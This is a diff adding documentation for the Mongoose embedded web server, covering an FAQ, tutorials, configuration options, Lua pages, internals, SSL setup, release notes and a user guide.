-DNS_DISABLE_THREADS Disable threads support
|
||||
-DNS_DISABLE_SOCKETPAIR For systems without loopback interface
|
||||
-DMONGOOSE_SEND_NS_EVENTS Send Net Skeleton events to the event handler
|
||||
in addition to the Mongoose events
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
# Mongoose FAQ
|
||||
|
||||
## My Antivirus Software reports Mongoose as a security threat
|
||||
|
||||
Mongoose doesn't contain any malicious logic. Antivirus reports a
|
||||
[false positive](http://en.wikipedia.org/wiki/Type_I_and_type_II_errors#False_positive_error).
|
||||
This is when certain byte sequence in Mongoose accidentally matches
|
||||
virus signature in the Antivirus database.
|
||||
|
||||
## Download page doesn't work
|
||||
|
||||
Please make sure Javascript is enabled in your browser, and that the
|
||||
antivirus software is not blocking the download.
|
||||
|
||||
|
||||
## MacOS message: "Mongoose.app is damaged and can’t be opened. You should move it to the Trash"
|
||||
|
||||
This happens on newer MacOS systems. The reason for the message
|
||||
is the fact Mongoose.app is not digitally signed.
|
||||
Mongoose download procedure changes the app on the fly by injecting
|
||||
user information in the binary, making any prior digital signature void.
|
||||
Open "System Preferences" -> "Security" and set "Allow apps downloaded from"
|
||||
to "Anywhere". Revert the settings once Mongoose is installed.
|
||||
|
||||
## PHP doesn't work: getting empty page, or 'File not found' error
|
||||
|
||||
The reason for that is wrong paths to the interpreter. Remember that with PHP,
|
||||
correct interpreter is `php-cgi.exe` (`php-cgi` on UNIX). Solution: specify
|
||||
full path to the PHP interpreter, e.g.:
|
||||
|
||||
mongoose -cgi_interpreter /full/path/to/php-cgi
|
||||
|
||||
## Mongoose fails to start
|
||||
|
||||
If Mongoose exits immediately when run, this
|
||||
usually indicates a syntax error in the configuration file
|
||||
(named `mongoose.conf` by default) or the command-line arguments.
|
||||
Syntax checking is omitted from Mongoose to keep its size low. However,
|
||||
the Manual should be of help. Note: the syntax changes from time to time,
|
||||
so updating the config file might be necessary after executable update.
|
||||
|
||||
### Embedding with OpenSSL on Windows might fail because of calling convention
|
||||
|
||||
To force Mongoose to use `__stdcall` convention, add `/Gz` compilation
|
||||
flag to the Visual Studio project settings.
|
||||
@@ -0,0 +1,18 @@
|
||||
How To Share Files With Mongoose
|
||||
===========================================
|
||||
|
||||
## 1. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside the directory you want to share:
|
||||
|
||||

|
||||
|
||||
## 2. Double-click mongoose executable. A browser will start automatically, an icon will appear on a system tray in the bottom right corner of the desktop:
|
||||
|
||||

|
||||
|
||||
## 3. Click on the mongoose icon
|
||||

|
||||
|
||||
|
||||
## 4. Click on "Go to my address" to launch a browser locally. Or, to access a folder from another machine, launch a browser and type in the URL:
|
||||
|
||||

|
||||
@@ -0,0 +1,44 @@
|
||||
# Mongoose Internals
|
||||
|
||||
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
|
||||
`mg_create_server()` creates a web server instance. An instance is a container
|
||||
for the config options and list of active connections. To do the actual
|
||||
serving, user must call `mg_poll_server()`, which iterates over all
|
||||
active connections, performing `select()` syscall on all sockets with a
|
||||
timeout of specified number of milliseconds. When `select()` returns, Mongoose
|
||||
does an IO for each socket that has data to be sent or received. Application
|
||||
code must call `mg_poll_server()` in a loop.
|
||||
|
||||
Mongoose server instance is designed to be used by a single thread.
|
||||
It is an error to have more then
|
||||
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
|
||||
that take `struct mg_server *` parameter. Mongoose does not
|
||||
mutex-protect `struct mg_server *`, therefore the best practice is
|
||||
to call server management functions from the same thread (an IO thread).
|
||||
On a multi-core systems, many server instances can be created, sharing the
|
||||
same listening socket and managed by separate threads (see [multi_threaded.c](https://github.com/cesanta/mongoose/blob/master/examples/multi_threaded.c))
|
||||
example.
|
||||
|
||||
It is an error to pass and store `struct mg_connection *` pointers for
|
||||
later use to send data. The reason is that they can be invalidated by the
|
||||
next `mg_poll_server()` call. For such a task,
|
||||
there is `mg_iterate_over_connections()` API
|
||||
exists, which sends a callback function to the IO thread, then IO thread
|
||||
calls specified function for all active connection.
|
||||
|
||||
When mongoose buffers in HTTP request and successfully parses it, it calls
|
||||
appropriate URI handler immediately for GET requests. For POST requests,
|
||||
Mongoose delays the call until the whole POST request is buffered in memory.
|
||||
POST data is available to the callback as `struct mg_connection::content`,
|
||||
and POST data length is in `struct mg_connection::content_len`.
|
||||
|
||||
Note that websocket connections are treated the same way. Mongoose buffers
|
||||
websocket frame in memory, and calls URI handler when frame is fully
|
||||
buffered. Frame data is available `struct mg_connection::content`, and
|
||||
data length is in `struct mg_connection::content_len`, i.e. very similar to
|
||||
the POST request. `struct mg_connection::is_websocket` flag indicates
|
||||
whether the request is websocket or not. Also, for websocket requests,
|
||||
there is `struct mg_connection::wsbits` field which contains first byte
|
||||
of the websocket frame which URI handler can examine. Note that to
|
||||
reply to the websocket client, `mg_websocket_write()` should be used.
|
||||
To reply to the plain HTTP client, `mg_write()` should be used.
|
||||
@@ -0,0 +1,51 @@
|
||||
# Mongoose Lua Server Pages
|
||||
|
||||
Pre-built Windows and Mac mongoose binaries support Lua Server Pages
|
||||
functionality.
|
||||
That means it is possible to write PHP-like scripts with mongoose
|
||||
using Lua programming language instead of PHP. Lua is known
|
||||
for it's speed and small size. Mongoose uses Lua version 5.2.3, the
|
||||
documentation for it can be found at
|
||||
[Lua 5.2 reference manual](http://www.lua.org/manual/5.2/).
|
||||
|
||||
To create a Lua Page, make a file that is called `ANY_NAME.lp`. For example,
|
||||
`my_page.lp`. It is important to have a file
|
||||
name that ends up with `.lp`, cause this is the way mongoose recognises
|
||||
Lua Page file. The contents of the file, just like
|
||||
with PHP, is HTML with embedded Lua code. Lua code must be enclosed within
|
||||
`<? ?>` blocks, and can appear anywhere on the page.
|
||||
|
||||
Mongoose does not send HTTP headers for Lua pages. Therefore,
|
||||
every Lua Page must begin with HTTP status line and headers, like this:
|
||||
|
||||
<? mg.write('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
|
||||
<html><body>
|
||||
<span>Today is:</span> <? mg.write(os.date("%A")) ?>
|
||||
</body></html>
|
||||
|
||||
Note that this example uses function `mg.write()`, which prints data to the
|
||||
web page. Using function `mg.write()` is the way to generate web content from
|
||||
inside Lua code. In addition to `mg.write()`, all standard library functions
|
||||
are accessible from the Lua code (please check reference manual for details).
|
||||
Information about the request is available via the `mg.request_info` object.
|
||||
I contains request method, all headers, etcetera. Please refer to
|
||||
`struct mg_request_info` definition in
|
||||
[mongoose.h](https://github.com/cesanta/mongoose/blob/master/mongoose.h)
|
||||
to see what is available via the `mg.request_info` object.
|
||||
Check out [prime_numbers.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/prime_numbers.lp) for some example.
|
||||
|
||||
Mongoose exports the following to the Lua Server Page:
|
||||
|
||||
mg.write(str) -- writes string to the client
|
||||
mg.onerror(msg) -- error handler, can be overridden
|
||||
mg.request_info -- a table with request information
|
||||
|
||||
Using Lua scripting it is easy to emulate SSI functionality. For example,
|
||||
to include the content of another file, one can write:
|
||||
|
||||
<? mg.write(io.open('MY_FILE.TXT'):read('*all')) ?>
|
||||
|
||||
To serve a Lua Page, mongoose creates Lua context. That context is used for
|
||||
all Lua blocks within the page. That means, all Lua blocks on the same page
|
||||
share the same context. If one block defines a variable, for example, that
|
||||
variable is visible in all following blocks.
|
||||
+148
@@ -0,0 +1,148 @@
|
||||
# Mongoose Configuration Options
|
||||
|
||||
### access\_control\_list
|
||||
An Access Control List (ACL) allows restrictions to be put on the list of IP
|
||||
addresses which have access to the web server. In the case of the Mongoose
|
||||
web server, the ACL is a comma separated list of IP subnets, where each
|
||||
subnet is prepended by either a `-` or a `+` sign. A plus sign means allow,
|
||||
where a minus sign means deny. If a subnet mask is omitted, such as `-1.2.3.4`,
|
||||
this means to deny only that single IP address.
|
||||
|
||||
Subnet masks may vary from 0 to 32, inclusive. The default setting is to allow
|
||||
all accesses. On each request the full list is traversed, and
|
||||
the last match wins. Example: `$ mongoose -access_control_list -0.0.0.0/0,+192.168/16` to deny all acccesses except those from `192.168/16` subnet. Note that if the option is set, then all accesses are forbidden
|
||||
by default. Thus in a previous example, `-0.0.0.0` part is not necessary.
|
||||
For example, `$mongoose access_control_list +10.0.0.0/8`
|
||||
means disallow all, allow subnet 10/8 only.
|
||||
|
||||
To learn more about subnet masks, see the
|
||||
[Wikipedia page on Subnetwork](http://en.wikipedia.org/wiki/Subnetwork)
|
||||
|
||||
Default: not set, all accesses are allowed.
|
||||
|
||||
### access\_log\_file
|
||||
Path to a file for access logs. Either full path, or relative to the
|
||||
mongoose executable. Default: not set, no query logging is done.
|
||||
|
||||
### auth_domain
|
||||
Authorization realm used in `.htpasswd` authorization. Default: `mydomain.com`
|
||||
|
||||
### cgi_interpreter
|
||||
Path to an executable to be used use as an interpreter for __all__ CGI scripts
|
||||
regardless script extension. Default: not set, Mongoose looks at
|
||||
[shebang line](http://en.wikipedia.org/wiki/Shebang_(Unix\).
|
||||
|
||||
For example, if both PHP and perl CGIs are used, then
|
||||
`#!/path/to/php-cgi.exe` and `#!/path/to/perl.exe` must be first lines of the
|
||||
respective CGI scripts. Note that paths should be either full file paths,
|
||||
or file paths relative to the directory where mongoose executable is located.
|
||||
|
||||
If all CGIs use the same interpreter, for example they are all PHP, then
|
||||
`cgi_interpreter` option can be set to the path to `php-cgi.exe` executable and
|
||||
shebang line in the CGI scripts can be omitted.
|
||||
**Note**: PHP scripts must use `php-cgi.exe`, not `php.exe`.
|
||||
|
||||
### cgi_pattern
|
||||
All files that match `cgi_pattern` are treated as CGI files. Default pattern
|
||||
allows CGI files be anywhere. To restrict CGIs to a certain directory,
|
||||
use `/path/to/cgi-bin/**.cgi` as a pattern. Note that **full file path** is
|
||||
matched against the pattern, not the URI.
|
||||
|
||||
When Mongoose starts CGI program, it creates new environment for it (in
|
||||
contrast, usually child program inherits the environment from parent). Several
|
||||
environment variables however are inherited from Mongoose's environment,
|
||||
they are: `PATH`, `TMP`, `TEMP`, `TMPDIR`, `PERLLIB`, `MONGOOSE_CGI`. On UNIX
|
||||
it is also `LD_LIBRARY_PATH`. On Windows it is also `COMSPEC`, `SYSTEMROOT`,
|
||||
`SystemDrive`, `ProgramFiles`, `ProgramFiles(x86)`, `CommonProgramFiles(x86)`.
|
||||
|
||||
Default: `**.cgi$|**.pl$|**.php$`
|
||||
|
||||
### dav\_auth\_file
|
||||
Authentication file for WebDAV mutation requests: `PUT`, `DELETE`, `MKCOL`.
|
||||
The format of that file is the same as for the `.htpasswd` file
|
||||
used for digest authentication. It can be created and managed by
|
||||
`mongoose -A` command. Default: not set, WebDAV mutations are disallowed.
|
||||
|
||||
### document_root
|
||||
A directory to serve. Default: current working directory.
|
||||
|
||||
### enable\_directory\_listing
|
||||
Enable directory listing, either `yes` or `no`. Default: `yes`.
|
||||
|
||||
### extra\_mime\_types
|
||||
Extra mime types to recognize, in form `extension1=type1,extension2=type2,...`.
|
||||
Extension must include dot. Example:
|
||||
`mongoose -extra_mime_types .cpp=plain/text,.java=plain/text`. Default: not set.
|
||||
|
||||
|
||||
### global\_auth\_file
|
||||
Path to a global passwords file, either full path or relative to the mongoose
|
||||
executable. If set, per-directory `.htpasswd` files are ignored,
|
||||
and all requests are authorised against that file. Use `mongoose -A` to
|
||||
manage passwords, or third party utilities like
|
||||
[htpasswd-generator](http://www.askapache.com/online-tools/htpasswd-generator).
|
||||
Default: not set, per-directory `.htpasswd` files are respected.
|
||||
|
||||
### hide\_files\_patterns
|
||||
A pattern for the files to hide. Files that match the pattern will not
|
||||
show up in directory listing and return `404 Not Found` if requested. Pattern
|
||||
must be for a file name only, not including directory name, e.g.
|
||||
`mongoose -hide_files_patterns secret.txt|even_more_secret.txt`. Default:
|
||||
not set.
|
||||
|
||||
### index_files
|
||||
Comma-separated list of files to be treated as directory index
|
||||
files. Default: `index.html,index.htm,index.cgi,index.shtml,index.php`
|
||||
|
||||
### ssl_certificate
|
||||
Path to SSL certificate file. The file must be in PEM format,
|
||||
and it must have both private key and certificate, see for example
|
||||
[ssl_cert.pem](https://github.com/cesanta/mongoose/blob/master/build/ssl_cert.pem). If this option is set, then Mongoose serves SSL connections on
|
||||
`listening_port`. Default: not set.
|
||||
|
||||
### listening_port
|
||||
Port to listen on. Port could be prepended by the specific IP address to bind
|
||||
to, e.g. `mongoose -listening_port 127.0.0.1:8080`. Otherwise Mongoose
|
||||
will bind to all addresses. Default: 8080.
|
||||
|
||||
### run\_as\_user
|
||||
Switch to given user credentials after startup. UNIX-only. This option is
|
||||
required when mongoose needs to bind on privileged port on UNIX, e.g.
|
||||
|
||||
$ sudo mongoose -listening_port 80 -run_as_user nobody
|
||||
|
||||
Default: not set.
|
||||
|
||||
### url\_rewrites
|
||||
Comma-separated list of URL rewrites in the form of
|
||||
`uri_pattern=file_or_directory_path`. When Mongoose receives the request,
|
||||
it constructs the file name to show by combining `document_root` and the URI.
|
||||
However, if the rewrite option is used and `uri_pattern` matches the
|
||||
requested URI, then `document_root` is ignored. Instead,
|
||||
`file_or_directory_path` is used, which should be a full path name or
|
||||
a path relative to the web server's current working directory. Note that
|
||||
`uri_pattern`, as all mongoose patterns, is a prefix pattern. If `uri_pattern`
|
||||
is a number, then it is treated as HTTP error code, and `file_or_directory_path`
|
||||
should be an URI to redirect to. Mongoose will issue `302` temporary redirect
|
||||
to the specified URI with following parameters:
|
||||
`?code=HTTP_ERROR_CODE&orig_uri=ORIGINAL_URI&query_string=QUERY_STRING`.
|
||||
|
||||
If `uri_pattern` starts with `@` symbol, then Mongoose compares
|
||||
it with the `HOST` header of the request. If they are equal, Mongoose sets
|
||||
document root to `file_or_directory_path`, implementing virtual hosts support.
|
||||
|
||||
Examples:
|
||||
|
||||
# Redirect all accesses to `.doc` files to a special script
|
||||
mongoose -url_rewrites **.doc$=/path/to/cgi-bin/handle_doc.cgi
|
||||
|
||||
# Implement user home directories support
|
||||
mongoose -url_rewrites /~joe/=/home/joe/,/~bill=/home/bill/
|
||||
|
||||
# Redirect 404 errors to a specific error page
|
||||
mongoose -url_rewrites 404=/cgi-bin/error.cgi
|
||||
|
||||
# Virtual hosts example: serve foo.com domain from different directory
|
||||
mongoose -url_rewrites @foo.com=/var/www/foo.com
|
||||
|
||||
Default: not set.
|
||||
@@ -0,0 +1,49 @@
|
||||
How To Create A PHP Website With Mongoose
|
||||
===========================================
|
||||
|
||||
## 1. Create a directory which will contain your website files. For example, on drive `C:\`, create a directory called `my_website`:
|
||||
|
||||

|
||||
|
||||
## 2. Inside `my_website` directory, create a new file called "index". This will be the default web page shown when the website is visited.
|
||||
|
||||

|
||||
|
||||
## 3. Open index file with your favorite editor (for example, Notepad) and enter some HTML / PHP code:
|
||||
|
||||

|
||||
|
||||
## 4. Save this file as `index.php`:
|
||||
|
||||

|
||||
|
||||
|
||||
## 5. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside `my_website` directory:
|
||||
|
||||

|
||||
|
||||
## 6. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
|
||||
|
||||

|
||||
|
||||
## 7. Download PHP 5.3 zip (do NOT download PHP 5.5 cause you might have missing DLLs problem) from http://windows.php.net/download and extract it to `C:\php5` directory:
|
||||

|
||||
|
||||
## 8. Click on the mongoose icon and choose "Edit Settings" menu.:
|
||||

|
||||
|
||||
## 9. A settings dialog will appear. Click on `cgi_interpreter` button:
|
||||
|
||||

|
||||
|
||||
## 10. Choose `C:\php5\php-cgi.exe` and click "Save Settings":
|
||||
|
||||

|
||||
|
||||
## 11. Click on the mongoose icon and choose "Go to my address" menu:
|
||||

|
||||
|
||||
|
||||
## 12. A browser will popup displaying `index.php`.
|
||||
|
||||

|
||||
@@ -0,0 +1,168 @@
|
||||
# Mongoose Release Notes
|
||||
|
||||
## Release 5.4, July 28 2014
|
||||
|
||||
Changes in Libmongoose library:
|
||||
|
||||
- Added `hexdump_file` option for low-level request/reply debugging
|
||||
- Added `mg_template()` API function for generating HTML pages from
|
||||
templates with expansions
|
||||
- Fixed `struct mg_connection::local_ip` handling, `mg_set_option()`
|
||||
behavior with NULL values
|
||||
- Added `mg_send_file()` call to send arbitrary file to the client
|
||||
- Added `mg_terminate_ssl()` for SSL termination functionality
|
||||
- Added HTTP proxy support, `enable_proxy` config option
|
||||
- Added `mg_next()` for iterating over existing active connections
|
||||
- Added client-side SSL auth, `ssl_ca_certificate` option
|
||||
- Added `mg_wakeup_server_ex()` for pushing messages to existing connections
|
||||
- Added `MG_WS_HANDSHAKE` and `MG_WS_CONNECT` events that are sent on
|
||||
Websocket handshake is connection establishment, respectively
|
||||
- Removed server-side Lua support
|
||||
- Filesystem access, reading from socket/SSL performance improvements
|
||||
- DAV PROPFIND memory leak fixed
|
||||
- Added `big_upload.c` and enhanced `upload.c` example
|
||||
- Added `proxy.c` example that demonstrates proxy functionality and SSE pushes
|
||||
- Added `websocket2.c` example that shows simple web chat implementation
|
||||
over websockets
|
||||
- Various minor fixes
|
||||
|
||||
|
||||
Changes in pre-compiled binaries:
|
||||
|
||||
- Created HTML administration console
|
||||
- When server is started, browser is started automatically
|
||||
- Fixed directory listing bug when directory contains `#` character
|
||||
- Removed built-in Lua Server Pages in the binary, and instead
|
||||
added Mongoose + Lua developer bundle which has Lua Server Pages support.
|
||||
That also solves external Lua modules loading problem.
|
||||
|
||||
|
||||
## Release 5.3, March 10 2014
|
||||
|
||||
Changes in Libmongoose library:
|
||||
|
||||
* Moved to the evented API. Updated API documentation is at
|
||||
http://cesanta.com/docs/Embed.shtml
|
||||
http://cesanta.com/docs/API.shtml
|
||||
* Added `MG_LUA` event for exporting custom variables to the Lua environment
|
||||
* Added virtual hosts capability, see `url_rewrites` option description at
|
||||
http://cesanta.com/docs/Options.shtml
|
||||
* Added mjpg serving example
|
||||
* Cleaned up and documented HTTP client API, with unit tests
|
||||
* Added `mg_wakeup_server()` to awaken `mg_poll_server()`
|
||||
from another thread
|
||||
* Moved Mongoose IO core to [https://github.com/cesanta/net_skeleton](Net Skeleton)
|
||||
* Added connection hexdump functionality for developers
|
||||
* Bug fixes
|
||||
|
||||
Changes in pre-compiled binaries:
|
||||
|
||||
* New awesome Mongoose logos buy our designer Katrin - thanks Katrin!
|
||||
Check them out at http://cesanta.com/products.shtml
|
||||
* Added Lua Server Pages support to the free version, quick intro is at
|
||||
http://cesanta.com/docs/Lua.shtml
|
||||
* Added quick "Set shared directory" menu item to set `document_root`
|
||||
* Added SSI support to the Pro version
|
||||
* Removed SSL support from the Pro version
|
||||
|
||||
## Release 5.2, Feb 1 2014
|
||||
|
||||
* Windows binary made fully UNICODE aware. In previous versions,
|
||||
the presence of non-ASCII chars in document root, CGI script name,
|
||||
or directory name might have broken Mongoose as stand-alone
|
||||
or as Windows service. Now Mongoose works with non-ASCII paths properly.
|
||||
Internally, Mongoose uses UTF8 encoding. When making WinAPI calls,
|
||||
mongoose converts UTF8 strings to wide chars and calls UNICODE API.
|
||||
* Enhanced authorization API by providing `mg_set_auth_handler()` and
|
||||
`mg_authorize_digest()`
|
||||
* Removed `mg_add_uri_handler()`, added `mg_set_request_handler()`.
|
||||
There is only oneURI handler that handles all requests, just like in 4.x.
|
||||
The reason for this change is to provide an ability to catch all URIs,
|
||||
and at the same time signal Mongoose to continue handling specific URIs.
|
||||
* Added `mg_parse_multipart()` API for file uploads.
|
||||
Note that the restriction on uploading huge files still exists,
|
||||
and will be eliminated in the next release.
|
||||
* Allowing mongoose to bind to port 0, in which case it'll bind to any
|
||||
random unused port.
|
||||
* Moved `idle_timeout_ms` run-time option to compile-time flag
|
||||
* Added asynchronous HTTP client, not documented yet. Documentation and
|
||||
examples are coming in the next couple of weeks. Async Websocket client
|
||||
is scheduled for the next release. See usage examples at `unit_test.c`
|
||||
* Windows and MacOS pre-built binaries are now split to free and paid ones,
|
||||
paid binaries include CGI, SSL, Lua, Sqlite, support and updates.
|
||||
Linux pre-built binary includes all functionality and is free, and will
|
||||
continue to be free. Source code for Windows and MacOS GUI is closed.
|
||||
Disclaimer: source code for the command line stand-alone server,
|
||||
as well as Mongoose library itself, will never be closed.
|
||||
* Multiple bug fixes and minor enhancements
|
||||
|
||||
## Release 5.1, Jan 10 2014
|
||||
|
||||
* CGI-related bugs where fixed, primarily for Windows platform
|
||||
* Bugs on Windows related to UNICODE support were fixed
|
||||
* Added a feature to support "error pages" through redirect.
|
||||
Done using `-url_redirects` option, details are on
|
||||
http://cesanta.com/docs/Options.shtml
|
||||
|
||||
## Release 5.0, Jan 6 2014
|
||||
|
||||
* Internal core has been changed from blocking, thread-per-connection to
|
||||
non-blocking, asynchronous, one thread for all.
|
||||
* API modification for server creation and response creation. That allowed
|
||||
keep-alive support for dynamic requests, boosting the embedded performance
|
||||
to 100+ thousands requests per second on a single core
|
||||
(as measured on my development MacBook laptop)
|
||||
* Unified handling of POST requests and Websocket requests by putting a
|
||||
payload into `conn->content`, `conn->content_len` attributes.
|
||||
That simplified user code and eliminated the need of `mg_read()`,
|
||||
since mongoose buffers all data prior to calling the callback
|
||||
* keep-alive support is the default
|
||||
* Dropped SSI support and throttling support
|
||||
* Several configuraition parameters are gone:
|
||||
* `cgi_environment` (replaced with MONGOOSE_CGI),
|
||||
* `protect_uri` (not useful)
|
||||
* `ssi_pattern` (SSI support is gone)
|
||||
* `throttle` (throttling support is gone)
|
||||
* `error_log_file` (not used)
|
||||
* `enable_keep_alive` (enabled by default)
|
||||
* `listening_ports` (renamed to listening_port)
|
||||
* `num_threads` (core has changed to single thread)
|
||||
* `put_delete_auth_file` (renamed to dav_auth_file)
|
||||
* `authentication_domain` (renamed to auth_domain)
|
||||
* Due to the async, non-blocking nature of the core, few restrictions
|
||||
are now in place:
|
||||
* user callbacks must not block
|
||||
* POST and Websocket data are now buffered, and cannot be huge
|
||||
* mongoose is now capable on listening on only one port
|
||||
|
||||
## Release 4.1, Oct 2013
|
||||
## Release 4.0, Oct 2013
|
||||
## Release 3.8, Sep 2013
|
||||
|
||||
## Release 3.7, Feb 2 2013
|
||||
|
||||
* Added "redirect to SSL port" functionality, e.g. if you specify
|
||||
`-listening_ports 8080r,8043s`
|
||||
then all requests to HTTP port 8080 will be redirected to HTTPS port 8043
|
||||
* Added `mg_download()` API, an HTTP client interface!
|
||||
* Lua server pages now must output HTTP headers -- full control for Lua
|
||||
* Added pre-built binary for MacOS, with initial GUI support
|
||||
* API change: got rid of events, moved to struct `mg_callbacks`
|
||||
* Bugfixes, thanks to contributors
|
||||
|
||||
|
||||
## Release 3.7, Jan 18 2013
|
||||
* Fixed source code archive (main.c was missing)
|
||||
* Extended Windows GUI functionality:
|
||||
* Added "Start browser" systray popup menu item
|
||||
* Enhanced configuration editor
|
||||
* Renamed config options:
|
||||
* `put_delete_passwords_file` -> `put_delete_auth_file`
|
||||
* `global_passwords_file` -> `global_auth_file`
|
||||
* `select()` changed to `poll()`, to avoid big file descriptor
|
||||
`FD_SET` problem on UNIX
|
||||
* Couple of bugfixes, thanks to contributors
|
||||
|
||||
|
||||
Eearlier release notes could be found by searching
|
||||
[Mongoose mailing list](https://groups.google.com/forum/#!forum/mongoose-users)
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
# Mongoose SSL guide
|
||||
|
||||
SSL is a protocol that makes web communication secure. To enable SSL
|
||||
in mongoose, 3 steps are required:
|
||||
|
||||
1. Valid certificate file must be created
|
||||
2. `ssl_certificate` options must be set to contain path to the
|
||||
certificate file.
|
||||
3. `listening_ports` option must contain a port number with letter `s`
|
||||
appended to it, which instructs Mongoose to use SSL for all connections
|
||||
made to that port.
|
||||
|
||||
Below is the `mongoose.conf` file snippet for typical SSL setup:
|
||||
|
||||
document_root www_root # Serve files in www_root directory
|
||||
listening_ports 80r,443s # Redirect all HTTP requests to HTTPS
|
||||
ssl_certificate ssl_cert.pem # Location of certificate file
|
||||
|
||||
## How to create SSL certificate file
|
||||
|
||||
SSL certificate file is a text file that must contain at least two
|
||||
sections:
|
||||
|
||||
1. A private key
|
||||
2. A certificate
|
||||
|
||||
Both sections should be chunks of text in PEM format. When PEM file is
|
||||
opened in a text editor, it looks like this:
|
||||
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
|
||||
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
|
||||
SEGI4JSxV56lYg==
|
||||
-----END CERTIFICATE-----
|
||||
|
||||
Two aforementioned sections are clearly seen. Typically, those section
|
||||
are bigger then in the example shown. The text between the `BEGIN` and
|
||||
`END` is the text representation of binary data, a private key and a
|
||||
certificate. Therefore, in order to create a certificate file,
|
||||
|
||||
* private key must be converted to PEM format
|
||||
* certificate must be converted to PEM format
|
||||
* those two should be concatenated into a single file
|
||||
|
||||
If the certificate chain in used, a chain file also needs to be
|
||||
converted into PEM format and appended to the certificate file.
|
||||
|
||||
## How SSL works
|
||||
|
||||
SSL is a protocol that can encrypt communication between two parties. If third
|
||||
party observes all messages passed by, it would be very
|
||||
hard for the third party (though not impossible) to decrypt the communication.
|
||||
|
||||
The idea is based on so-called public key encryption. Communicating parties
|
||||
have two keys: a public key and a private key. A public key is advertised
|
||||
to everybody, and it is contained in a certificate. A private key is kept
|
||||
secret. Security algorithm works in a way that anybody can encrypt
|
||||
a message using public key, and only private key can decrypt it.
|
||||
|
||||
This is why web server needs both private key and certificate: private key
|
||||
is used to decrypt incoming messages, and certificate is used to tell the
|
||||
public key to the other party. When communication starts, parties exchange
|
||||
their public keys, and keep private keys to themselves. Man-in-the-middle
|
||||
who observes the communication is unable to decrypt the messages cause
|
||||
private keys are required for decryption.
|
||||
|
||||
Encryption algorithms are built on top of hard mathematical problem, which
|
||||
makes it very expensive for man-in-the-middle to compute private keys.
|
||||
For example, RSA algorithm is based on a mathematical problem of factorization.
|
||||
It is easy to generate two very large prime numbers `P` and `Q` and make
|
||||
a product `P * Q`. But given a product, it is very hard to recover these
|
||||
two prime numbers - this is called factorization.
|
||||
@@ -0,0 +1,86 @@
|
||||
# Mongoose User Guide
|
||||
|
||||
Mongoose is small and easy to use web server built on top of
|
||||
mongoose library. It is designed with maximum simplicity in mind. For example,
|
||||
to share any directory, just drop mongoose executable in that directory,
|
||||
double-click it (on UNIX, run it from shell) and launch a browser at
|
||||
[http://localhost:8080](http://localhost:8080) Note that 'localhost' should
|
||||
be changed to a machine's name if a folder is accessed from other computer.
|
||||
|
||||
On Windows and Mac, Mongoose iconifies itself to the system tray when started.
|
||||
Right-click on the icon to pop up a menu, where it is possible to stop
|
||||
mongoose, or configure it.
|
||||
|
||||
On UNIX, `mongoose` is a command line utility. Running `mongoose` in
|
||||
terminal, optionally followed by configuration parameters
|
||||
(`mongoose [OPTIONS]`) or configuration file name
|
||||
(`mongoose [config_file_name]`) starts the
|
||||
web server:
|
||||
|
||||
$ mongoose -document_root /var/www # Running mongoose with cmdline options
|
||||
$ mongoose /etc/my_config.txt # Running mongoose with config file
|
||||
$ mongoose # Running with no parameters. This will
|
||||
# serve current directory on port 8080
|
||||
|
||||
Mongoose does not detach from terminal. Pressing `Ctrl-C` keys
|
||||
stops the server.
|
||||
|
||||
When started, mongoose first searches for the configuration file.
|
||||
If configuration file is specified explicitly in the command line, then
|
||||
specified configuration file is used.
|
||||
Otherwise, mongoose would search for file `mongoose.conf` in the same directory
|
||||
where binary is located, and use it. Configuration file can be absent.
|
||||
|
||||
Configuration file is a sequence of lines, each line containing
|
||||
command line argument name and it's value. Empty lines and lines beginning
|
||||
with `#` are ignored. Here is the example of `mongoose.conf` file:
|
||||
|
||||
# This is a comment
|
||||
document_root C:\www
|
||||
listening_port 80
|
||||
ssl_certificate C:\mongoose\ssl_cert.pem
|
||||
|
||||
Command line arguments are highest priority and can override
|
||||
configuration file settings. For example, if `mongoose.conf` has line
|
||||
`document_root /var/www`, and mongoose has been started as
|
||||
`mongoose -document_root /etc`, then `/etc` directory will be used as
|
||||
document root.
|
||||
|
||||
Note that configuration options on the command line must start with `-`,
|
||||
and their names are the same as in the config file. Exampli gratia,
|
||||
the following two setups are equivalent:
|
||||
|
||||
$ mongoose -listening_port 1234 -document_root /var/www
|
||||
|
||||
$ cat > mongoose.conf
|
||||
listening_ports 1234
|
||||
document_root /var/www
|
||||
^D
|
||||
$ mongoose
|
||||
|
||||
Mongoose can also be used to modify `.htpasswd` passwords file:
|
||||
|
||||
$ mongoose -A .htpasswd mydomain.com user_name user_password
|
||||
|
||||
Unlike other web servers, mongoose does not require CGI scripts be located in
|
||||
a special directory. CGI scripts can be anywhere. CGI (and SSI) files are
|
||||
recognized by the file name pattern. Mongoose uses shell-like glob
|
||||
patterns. Pattern match starts at the beginning of the string, so essentially
|
||||
patterns are prefix patterns. Syntax is as follows:
|
||||
|
||||
** Matches everything
|
||||
* Matches everything but slash character, '/'
|
||||
? Matches any character
|
||||
$ Matches the end of the string
|
||||
| Matches if pattern on the left side or the right side matches.
|
||||
|
||||
All other characters in the pattern match themselves. Examples:
|
||||
|
||||
# Pattern Meaning
|
||||
**.cgi$ Any string that ends with .cgi
|
||||
/foo Any string that begins with /foo
|
||||
**a$|**b$ Any string that ends with a or b
|
||||
|
||||
To restrict CGI files only to `/cgi-bin/` directory, use this setting:
|
||||
|
||||
$ mongoose -cgi_pattern /cgi-bin/*.cgi # Emulate /cgi-bin/ restriction
|
||||
+72
-22
@@ -1,28 +1,78 @@
|
||||
